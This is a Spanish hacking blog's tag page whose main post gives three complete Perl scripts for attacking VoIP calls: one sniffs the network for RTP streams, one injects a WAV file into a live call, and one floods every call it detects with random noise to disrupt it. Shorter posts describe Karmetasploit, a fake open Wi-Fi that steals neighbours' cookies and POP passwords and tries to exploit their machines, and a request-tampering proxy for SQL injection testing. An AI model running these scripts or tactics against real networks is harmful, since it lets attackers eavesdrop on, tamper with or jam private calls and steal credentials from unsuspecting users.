Entradas con la etiqueta Sniffer

Inyectando tráfico RTP en una conversación VoIP

Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.

No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.

Haciendo uso de las RTPtools (http://www.cs.columbia.edu/irt/software/rtptools/) y de un sniffer de remote-exploit.org (http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.

En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.

Comencemos …

rtpscan.pl es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use Getopt::Long;

my @src;
my @dst;

# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;

# Trapping Signal "INT" like ctrl+c for cleanup first.
$SIG{INT} = \&f_probe_ctrl_c;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface);

	help() if ($interface eq "");

	f_probe_pcapinit;
}

sub f_probe_pcapinit{
	if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
	{
		# Initiate endless packet gathering.
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else
	{
		print "\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n";
		exit;
	}
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $new = 1;
		my $codec = codec($data);

		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		for (my $i = 0; $i <= $#src; $i++) {
			$new = 0 if (($src[$i] eq $ipsrc.":".$portsrc) && ($dst[$i] eq $ipdst.":".$portdst));
			$new = 0 if (($src[$i] eq $ipdst.":".$portdst) && ($dst[$i] eq $ipsrc.":".$portsrc));
		}

		if ($new eq 1) {
			print "Protocol: UDP\n";
			print "Codec   : GSM\n" if ($codec eq "3");
			print "Codec   : G.711 (u-law)\n" if ($codec eq "0");
			print "Codec   : G.711 (a-law)\n" if ($codec eq "201" || $codec eq "136");
			print "Codec   : Speex\n" if ($codec eq "225");
			print "Codec   : $codec (desconocido)\n" if ($codec ne "0" && $codec ne "3" && $codec ne "201" && $codec ne "136" && $codec ne "225");
			print "IP 1    : $ipsrc:$portsrc\n";
			print "IP 2    : $ipdst:$portdst\n";

			push @src, $ipsrc.":".$portsrc;
			push @dst, $ipdst.":".$portdst;
		}
	}
};

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub f_probe_ctrl_c {
	# Checks if there is a open pcap handle and closes it first.
	if ($g_cap_descrip)
	{
		Net::Pcap::close ($g_cap_descrip);
		print "\nClosed the pcap allready, the program exits now.\n";
	}
};

sub help {
	print qq{
Usage:  $0 -i <interface>

};

	exit 1;
}

init();

rtpsend.pl es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con rtpscan.pl):

#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/

use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;

my $DEFAULT_PORT = 5004;	# Default RTP port
my $DEFAULT_TTL = 2;		# Default Time-to-live
my $PAYLOAD_TYPE = 0;		# u-law
my $PAYLOAD_SIZE = 160;		# 160 samples per packet

# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);

print "Input Filename: $filename\n";
print "Remote Address: $address\n";
print "Remote Port: $port\n";
print "Multicast TTL: $ttl\n";
print "Payload type: $PAYLOAD_TYPE\n";
print "Payload size: $PAYLOAD_SIZE bytes\n";

# Create RTP socket
my $rtp = new Net::RTP(
		PeerPort=>$port,
		PeerAddr=>$address,
) || die "Failed to create RTP socket: $!";

# Set the TTL
if ($rtp->superclass() =~ /Multicast/) {
	$rtp->mcast_ttl( $ttl );
}

# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet->payload_type( $PAYLOAD_TYPE );

while(1) {
# Open the input file (via sox)
open(PCMU, "sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |")
or die "Failed to open input file: $!";

my $data;

while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
	# Set payload, and increment sequence number and timestamp
	$packet->payload($data);
	$packet->seq_num_increment();
	$packet->timestamp_increment( $PAYLOAD_SIZE );

	my $sent = $rtp->send( $packet );
	#print "Sent $sent bytes.\n";

	# This isn't a very good way of timing it
	# but it kinda works
	usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}

close( PCMU );
}

sub usage {
	print "usage: rtpsend.pl <filename> <dest_addr> [<dest_port>] [<ttl>]\n";
	exit -1;
}

Y rtpflood.pl es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:

#!/usr/bin/perl
# Pepelux <pepelux[at]gmail[dot]com>
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;

my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("i=s" => \$interface,
	                         "v+" => \$v);

	help() if ($interface eq "");

	if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
		Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
	}
	else {
		print "\nCould not initiating the interface: $interface.\nError: $g_pcap_err.";
		print "\nAre you root?\n";
		exit;
	}
}

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) && proto($data) eq "17") {
		my $codec = codec($data);
		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		if ($threads <= $maxthreads) {
			my $thr = threads->new(\&flood, $ipsrc, $portsrc, $codec);
			$thr->detach();
			$thr = threads->new(\&flood, $ipdst, $portdst, $codec);
			$thr->detach();
		}
	}
};

sub flood {
	my $address = shift;
	my $port = shift;
	my $payload = shift;

	{lock($threads);$threads++;}

	if ($v eq "1") {
		print "Flooding host: $address \tPort: $port/UDP \tCodec: ";
		print "GSM            \n" if ($payload eq "3");
		print "G.711          \n" if ($payload eq "0");
	}

	# Create RTP socket
	my $rtp = new Net::RTP(
			PeerPort=>$port,
			PeerAddr=>$address,
	) || die "Failed to create RTP socket: $!";

	# Set the TTL
	if ($rtp->superclass() =~ /Multicast/) {
		$rtp->mcast_ttl( $ttl );
	}

	# Create RTP packet
	my $packet = new Net::RTP::Packet();
	$packet->payload_type( $payload );

	for (my $i = 0; $i < 100; $i++) {
		my $data;

		for (my $i = 0; $i < $PAYLOAD_SIZE; $i++) {
			my $rnd = rand(255);
			$data .= hex($rnd);
		}

		$packet->payload($data);
		$packet->seq_num_increment();
		$packet->timestamp_increment( $PAYLOAD_SIZE );

		$rtp->send( $packet );

		close( PCMU );
	}

	{lock($threads);$threads--;}
}

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.".".$v2.".".$v3.".".$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq "80");
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub help {
	print qq{
Usage:  $0 -i <interface> [options]

    == Options ==
      -v               = Verbose mode

    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v

};

	exit 1;
}

init();

El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.

Saludos

Etiquetas: , , ,

Karmetasploit

El otro día vi en el foro de elhacker.net un post que hablaba sobre karmetasploit y me puse a indagar un poco a ver como iba esto (que lo suyo me costó jeje todo hay que decirlo. En el portátil no hubo forma pero en el PC funcionó a la primera).

Karmetasploit es un plugin de metasploit que usándolo junto con aircrack-ng te permite ir de pesca por el vecindario, o lo que es lo mismo, te permite crear una wifi falsa y totalmente abierta para incitar a los vecinos listillos que quieran conectarse gratis a Internet. Tras conectarse, en el peor de los casos les roba las cookies y si intentan acceder al correo, también las contraseñas de POP. Y en el mejor de los casos, si su sistema operativo tiene algún bug trata de explotárselo llegándote a dar una shell si es posible.

La información original de karmetasploit la puedes ver aquí: http://www.offensive-security.com/metasploit-unleashed/Karmetasploit

Leer el resto de esta entrada »

Etiquetas: , , ,

Squipy está a punto de parir

Aprovechando que es fin de año y todo el mundo hace promesas, yo me he propuesto escribir más a menudo en el blog. Se que no lo lee ni dios, salvo la gente que llega directamente al POST del TPlus a preguntar una y otra vez lo mismo (esto es un infierno!!!!) pero escribiré para leerme yo mismo :)

Bueno, estas Navidades, además de inflarme a turrón de chocolate, he estado programando una pequeña aplicación a la que llamé Squipy. Se trata de un proxy, no para navegar a través de él con varios equipos, sino para analziar el comportamento de algunas páginas y modificar los datos que se mandan.

Algo similar a lo que hace Tamper Data o Paros o muchos otros pero personalizado a mi gusto … si es que soy algo maniático con las cosas, lo se!

El Tamper Data está muy bien para hacer un cambio o dos pero cuando son muchos te vuelves loco ya que hay que modificar cada paquete.

El Paros está también muy bien pero no me permite poner cambios generales y hay que modificar también cada paquete muchas veces.

La idea de hacer este programa surgio por varias deficiencias que vi en el Paros y que, a pesar de que otros programas si que lo tenían, eran algo complicados para lo que realmente necesito. Yo principalmente lo eché en falta en algunos detalles:

  • La opción de poder modificar el User-Agent de forma indefinida para entrar en la web móvil de Tuenti y subir fotos (ya que tiene un filtro por User-Agent)
  • La opción de convertir de forma automática las peticiones POST a GET o a la inversa, para probar inyecciones SQL por POST realizando los envíos cómodamente mediante GET
  • Poder modificar tanto los datos que se mandan al servidor como los que se reciben hacia el navegador
  • No tener que contar los bytes que envío en un POST tras una modificación, para ajustar el tamaño del paquete
  • No tener un bombardeo de peticiones para filtrar cuando activo el análisis (como ocurre con el Tamper Data) y poder analizar sólo una determinada URL o dentro de una URL sólo ciertos ficheros …

Squipy

Puedes descargar el manual que espero ir ampliándolo si incluyo nuevas funcionalidades. Es muy breve pero trae varias capturas en las que explica cada opción del programa.

En cuanto termine de testearla la subiré a la web. Si alguien tiene alguna sugerencia que me lo diga.

Etiquetas: , , , , , , ,

EnyeMon v1.0 para Windows

EnyeMon es un monitor de red que estoy terminando de programar. Funciona bajo Windows (de momento testeado en XP y Vista) y permite trabajar con y sin WinPCap. Según las pruebas:

Con XP: Funcionan los dos modos (supongo que con 2000 también)
Con Vista: Sin WinPCap sólo captura lo que se recibe pero no lo que se envía y con WinPCap captura todo.

Leer el resto de esta entrada »

Etiquetas: , , ,